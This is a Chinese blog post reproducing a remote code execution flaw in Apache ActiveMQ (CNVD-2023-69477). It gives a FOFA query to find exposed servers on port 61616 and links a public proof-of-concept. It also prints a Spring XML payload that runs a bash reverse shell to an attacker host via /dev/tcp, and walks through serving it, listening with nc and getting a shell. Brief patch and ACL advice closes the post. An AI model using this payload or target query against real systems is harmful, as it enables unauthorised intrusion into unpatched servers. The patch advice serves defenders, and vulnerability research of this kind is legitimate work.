当前位置: 首页 > news >正文

Apache ActiveMQ RCE漏洞复现(CNVD-2023-69477)

0x01 产品简介

  ActiveMQ是一个开源的消息代理和集成模式服务器,它支持Java消息服务(JMS) API。它是Apache Software Foundation下的一个项目,用于实现消息中间件,帮助不同的应用程序或系统之间进行通信。

0x02 漏洞概述

 Apache ActiveMQ 中存在远程代码执行漏洞,Apache ActiveMQ在默认安装下开放了61616服务端口,而该端口并没有对传入数据进行适当的过滤,从而使攻击者能够构造恶意数据以实现远程代码执行。

0x03 影响范围

Apache ActiveMQ < 5.18.3

Apache ActiveMQ < 5.17.6

Apache ActiveMQ < 5.16.7

Apache ActiveMQ < 5.15.16 

0x04 复现环境

FOFA:app="APACHE-ActiveMQ" && port="61616"

b1d19830b3eb42439cf5a379fdb8f821.png

0x05 漏洞复现

PoC地址:https://github.com/trganda/ActiveMQ-RCE

把项目Get到本地,导入IDEA中运行

74854985a16d47dfae882dd50decf702.png

 直接运行会发现报错:java: 警告: 源发行版 11 需要目标发行版 11

PS:这种一般是你idea的 配置文件iml 与 项目中 配置的jdk版本是不一致导致的

6cbc9d691fe548ccbca9e68eb61b210d.png

这里需要安装jdk11,配置项目

3a5ae44b65144c05bed9c8d823556339.png

 漏洞利用

修改Main.java以下两处

f48ef75660ff44cb9caa860d0ee83b35.png

反弹shell 

将rce.xml,上传至vps

<?xml version="1.0" encoding="UTF-8" ?>
<beans xmlns="http://www.springframework.org/schema/beans"xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd"><bean id="pb" class="java.lang.ProcessBuilder" init-method="start"><constructor-arg><list><value>bash</value><value>-c</value><value><![CDATA[bash -i >& /dev/tcp/your-ip/6666 0>&1]]></value></list></constructor-arg></bean>

利用python开启http服务 

79b958ad02784db9a00e76e8ee75a551.png

nc开启监听

7d5fea03fec84a4b84b45b84922c4465.png

运行Main.java

499c87a5b2c54c4997bf538ca9a717cf.png

成功反弹shell

2618ec354d534345bbf22d0d8b813d8b.png

2adaf923474647acbfcde701749e153f.png

0x06 修复建议 

临时缓解方案

通过网络ACL策略限制访问来源,例如只允许来自特定IP地址或地址段的访问请求。

升级修复方案

目前官方已通过限制反序列化类只能为Throwable的子类的方式来修复此漏洞。建议受影响用户可以更新到:

Apache ActiveMQ >= 5.18.3

Apache ActiveMQ >= 5.17.6

Apache ActiveMQ >= 5.16.7

Apache ActiveMQ >= 5.15.16

https://github.com/apache/activemq/tags

 

相关文章:

  • Windows上配置IP端口转发
  • css矩形盒子实现虚线流动边框+css实现step连接箭头
  • MySQL WITH AS及递归查询
  • 数据结构和算法——用C语言实现所有排序算法
  • C# WPF: Imag图片填充方式有哪些?
  • Docker 容器服务的注册、发现及Docker安全
  • 十八、模型构建器(ModelBuilder)快速提取城市建成区——批量掩膜提取夜光数据、夜光数据转面、面数据融合、要素转Excel(基于参考比较法)
  • 10.25verilog复习,代码规范复盘,触发器复习
  • Day 4 登录页及路由 (二) -- Vue状态管理
  • 边缘计算技术的崭新篇章:赋能未来智能系统
  • 在Spring boot中 使用JWT和过滤器实现登录认证
  • 【年终特惠】全流程HEC-RAS 1D/2D水动力与水环境模拟技术案例实践及拓展应用
  • 9.Python3-注释
  • 20年经典传承 | 性能圣典!火焰图发明者Brendan Gregg“神作”
  • Linux cp命令:复制文件和目录
  • JavaScript-如何实现克隆(clone)函数
  • IDEA 插件开发入门教程
  • JAVA SE 6 GC调优笔记
  • vue从创建到完整的饿了么(11)组件的使用(svg图标及watch的简单使用)
  • vue的全局变量和全局拦截请求器
  • 官方新出的 Kotlin 扩展库 KTX,到底帮你干了什么?
  • 小而合理的前端理论:rscss和rsjs
  • k8s使用glusterfs实现动态持久化存储
  • 阿里云IoT边缘计算助力企业零改造实现远程运维 ...
  • ​卜东波研究员:高观点下的少儿计算思维
  • #常见电池型号介绍 常见电池尺寸是多少【详解】
  • $.ajax中的eval及dataType
  • %3cli%3e连接html页面,html+canvas实现屏幕截取
  • (10)Linux冯诺依曼结构操作系统的再次理解
  • (windows2012共享文件夹和防火墙设置
  • (附源码)spring boot火车票售卖系统 毕业设计 211004
  • (附源码)springboot学生选课系统 毕业设计 612555
  • (三分钟)速览传统边缘检测算子
  • (实战篇)如何缓存数据
  • (原)本想说脏话,奈何已放下
  • .NET 动态调用WebService + WSE + UsernameToken
  • .NET 线程 Thread 进程 Process、线程池 pool、Invoke、begininvoke、异步回调
  • .NET3.5下用Lambda简化跨线程访问窗体控件,避免繁复的delegate,Invoke(转)
  • /etc/sudoer文件配置简析
  • @Async注解的坑,小心
  • [2021]Zookeeper getAcl命令未授权访问漏洞概述与解决
  • [22]. 括号生成
  • [Android]一个简单使用Handler做Timer的例子
  • [AutoSar]BSW_OS 02 Autosar OS_STACK
  • [C++]——带你学习类和对象
  • [Codeforces] probabilities (R1600) Part.1
  • [echarts] y轴不显示0
  • [EFI]MSI GF63 Thin 9SCXR电脑 Hackintosh 黑苹果efi引导文件
  • [JavaEE] 线程与进程的区别详解
  • [linux] 创建用户
  • [Microsoft][SQLServer 2000 Driver for JDBC][SQLServer]对象名 'XXX' 无效
  • [node] Node.js 缓冲区Buffer
  • [OS-Linux] CentOS 7.x 使用密钥登录安全设置
  • [Phoenix] 七、如何使用自增ID
  • [SpringCloud] Feign 与 Gateway 简介